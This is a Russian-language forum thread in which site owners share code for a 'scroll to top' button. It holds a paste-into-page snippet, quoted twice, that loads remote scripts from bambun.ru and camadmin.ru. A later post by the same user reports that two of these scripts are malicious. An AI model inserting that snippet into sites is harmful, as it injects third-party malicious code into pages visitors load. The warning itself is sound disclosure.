Текущее время: 29 мар 2024, 17:26

Часовой пояс: UTC + 3 часа [ Летнее время ]


Правила форума


Пожалуйста, прежде чем задавать вопрос, воспользуйтесь поиском, возможно ответ уже существует!



Начать новую тему Ответить на тему  [ Сообщений: 10 ] 
Автор Сообщение
 Заголовок сообщения: Кнопка Вверх странице
СообщениеДобавлено: 31 мар 2012, 15:01 
Не в сети
Аватара пользователя

Зарегистрирован: 01 фев 2012, 22:27
Сообщения: 176
Откуда: Кабул_Сити
кнопка вверх обычно если на странице много текста то не удобно вверх странице поднимется, а так с кнопкой один щелчок вы уже в самом верху странице.
Если кому то пригодится сегодня решил у себя в сайте сделать такое получилось удачно и решил свами поделится, все расскажу в нескольких шагах
шаг 1: в CSS добавьте вот этот код можно и под свой сайт настроит есть комментарии к коду:
.container {padding: 0 0 70px 0;} /* отступ снизу */
#message
{
display: block;
display: none;
/* ссылка над всеми элементами */
z-index: 999;
/* ссылка не заслоняет полностью текст под ней */
opacity: .8;
/* ссылка всегда на одном и том же месте */
position: fixed;
/* ссылка внизу страницы */
top: 100%;
margin-top: -80px; /* = height + preferred bottom margin */
/* ссылка по центру */
left: 80%;
margin-left: -80px;
/* закругленные углы */
-moz-border-radius: 24px;
-webkit-border-radius: 24px;
/* ссылка большая, заметная и ее легко найти */
width: 300px;
line-height: 48px;
height: 48px;
padding: 10px;
background-color: #000;
font-size: 24px;
text-align: center;
}
#message a { color: #fff; }
Шаг 2: добавте в метатеге вот этот код:
<meta name="Generator" content="okis">
<script src="ссылка на jQuery.js файл" type="text/javascript" charset="utf-8"></script>
<script src="сслыка на scrollTo.js файл" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript" charset="utf-8">
$(function () { // run this code on page load (AKA DOM load)
var scroll_timer;
var displayed = false;
var $message = $('#message');
var $window = $(window);
var top = $(document.body).children(0).position().top;
/* react to scroll event on window */
$window.scroll(function () {
window.clearTimeout(scroll_timer);
scroll_timer = window.setTimeout(function () { // use a timer for performance
if($window.scrollTop() <= top) // hide if at the top of the page
{
displayed = false;
$message.fadeOut(500);
}
else if(displayed == false) // show if scrolling down
{
displayed = true;
$message.stop(true, true).fadeIn(500).click(function () { $message.fadeOut(500); });
}
}, 100);
});
$('#top-link').click(function(e) {
e.preventDefault();
$.scrollTo(0,300);
});
});
</script>
шаг 3: добавте в счетчик вот этот код
<div id="top"></div>
<div id="message"><a href="#top" id="top-link">Подняться вверх</a></div>

тепер самое главное загрузите вот эти два файла на сайт:
http://honeyhost.in/file/honeyhost_in/file.rar
Думаю все ясно и легко
вот пример работы: http://honeyhost.in/

_________________
Изображение


Последний раз редактировалось sameer 03 апр 2012, 16:16, всего редактировалось 3 раз(а).

Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 31 мар 2012, 15:21 
Не в сети
Аватара пользователя

Зарегистрирован: 29 окт 2010, 04:13
Сообщения: 4406
Спасибо, полезная вещь.
P.S. советую прогонять тексты через Word, чтобы избегать подобных проблем с грамматикой ;)

_________________
Уроки и полезные советы про okis


Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 31 мар 2012, 15:25 
Не в сети
Аватара пользователя

Зарегистрирован: 01 фев 2012, 22:27
Сообщения: 176
Откуда: Кабул_Сити
все сделал, если будет получаться, то каждый день буду что то новенькое добавлять

_________________
Изображение


Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 24 апр 2012, 14:52 
Не в сети
Аватара пользователя

Зарегистрирован: 24 апр 2012, 14:49
Сообщения: 4
Откуда: NN
Ну что за ерунда а где фалы то? и где вообще твой сайт? админы помагите сделать очень вещь нужная наверх кнопка! ну пожалуйста. :)


Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 01 май 2012, 17:10 
Не в сети
Аватара пользователя

Зарегистрирован: 01 фев 2012, 22:27
Сообщения: 176
Откуда: Кабул_Сити
сайта нет удалил его просто если что пиши searsameer@yahoo.com вышлю их по почте

_________________
Изображение


Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 28 май 2013, 18:14 
Не в сети

Зарегистрирован: 28 май 2013, 18:07
Сообщения: 8
Откуда: Краснодарский край
Вот прикольная кнопка вверх
<!-- MrScrollUp.Start -->
<script type="text/javascript" src="http://bambun.ru/css_js/jquery.min.js"></script>
<script type="text/javascript" src="http://bambun.ru/css_js/MrScrollUp.js"></script>
<script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
<link rel="stylesheet" type="text/css" href="http://bambun.ru/css_js/MrScrollUp.css" />
<div id="MrScrollUp" style="display:none;"><div class="MrScrollUp1"></div><div class="MrScrollUp2"></div></div>
<!-- MrScrollUp.End -->

код вставлять в поле для счетчиков посмотреть можно здесь http://evmenov37.ru/


Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 29 май 2013, 12:41 
Не в сети

Зарегистрирован: 28 май 2013, 18:07
Сообщения: 8
Откуда: Краснодарский край
Я поспешил расхваливать эту кнопку, у меня вылазит только на главной странице и то не всегда.


Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 24 июн 2013, 20:07 
Не в сети

Зарегистрирован: 24 июн 2013, 20:05
Сообщения: 1
Цитата:
Вот прикольная кнопка вверх
<!-- MrScrollUp.Start -->
<script type="text/javascript" src="http://bambun.ru/css_js/jquery.min.js"></script>
<script type="text/javascript" src="http://bambun.ru/css_js/MrScrollUp.js"></script>
<script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
<link rel="stylesheet" type="text/css" href="http://bambun.ru/css_js/MrScrollUp.css" />
<div id="MrScrollUp" style="display:none;"><div class="MrScrollUp1"></div><div class="MrScrollUp2"></div></div>
<!-- MrScrollUp.End -->

код вставлять в поле для счетчиков посмотреть можно здесь http://evmenov37.ru/


Спасибо, реально крутая. Вот подскажите, как изменить цвет и текст кнопки. Цвет на более ярче, а текст на русский?) спасибо, кнопка понравилась)


Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 27 июн 2013, 13:13 
Не в сети

Зарегистрирован: 28 май 2013, 18:07
Сообщения: 8
Откуда: Краснодарский край
Я не знаю как её настраивать, эта кнопка у меня работает через раз, я и не вникал,
а у тебя нормально работает?


Вернуться к началу
 Профиль  
 
 Заголовок сообщения: Re: Кнопка Вверх странице
СообщениеДобавлено: 10 авг 2013, 13:50 
Не в сети

Зарегистрирован: 28 май 2013, 18:07
Сообщения: 8
Откуда: Краснодарский край
Привет, в кнопке что я добавил раньше обнаружено два вредоносных скрипта, вот они <script type="text/javascript" src="http://bambun.ru/css_js/jquery.min.js"></script>
<script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
удалите их, кто уже установил.


Вернуться к началу
 Профиль  
 
Показать сообщения за:  Поле сортировки  
Начать новую тему Ответить на тему  [ Сообщений: 10 ] 

Часовой пояс: UTC + 3 часа [ Летнее время ]


Кто сейчас на конференции

Сейчас этот форум просматривают: Bing [Bot]


Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете добавлять вложения

Найти:
Перейти: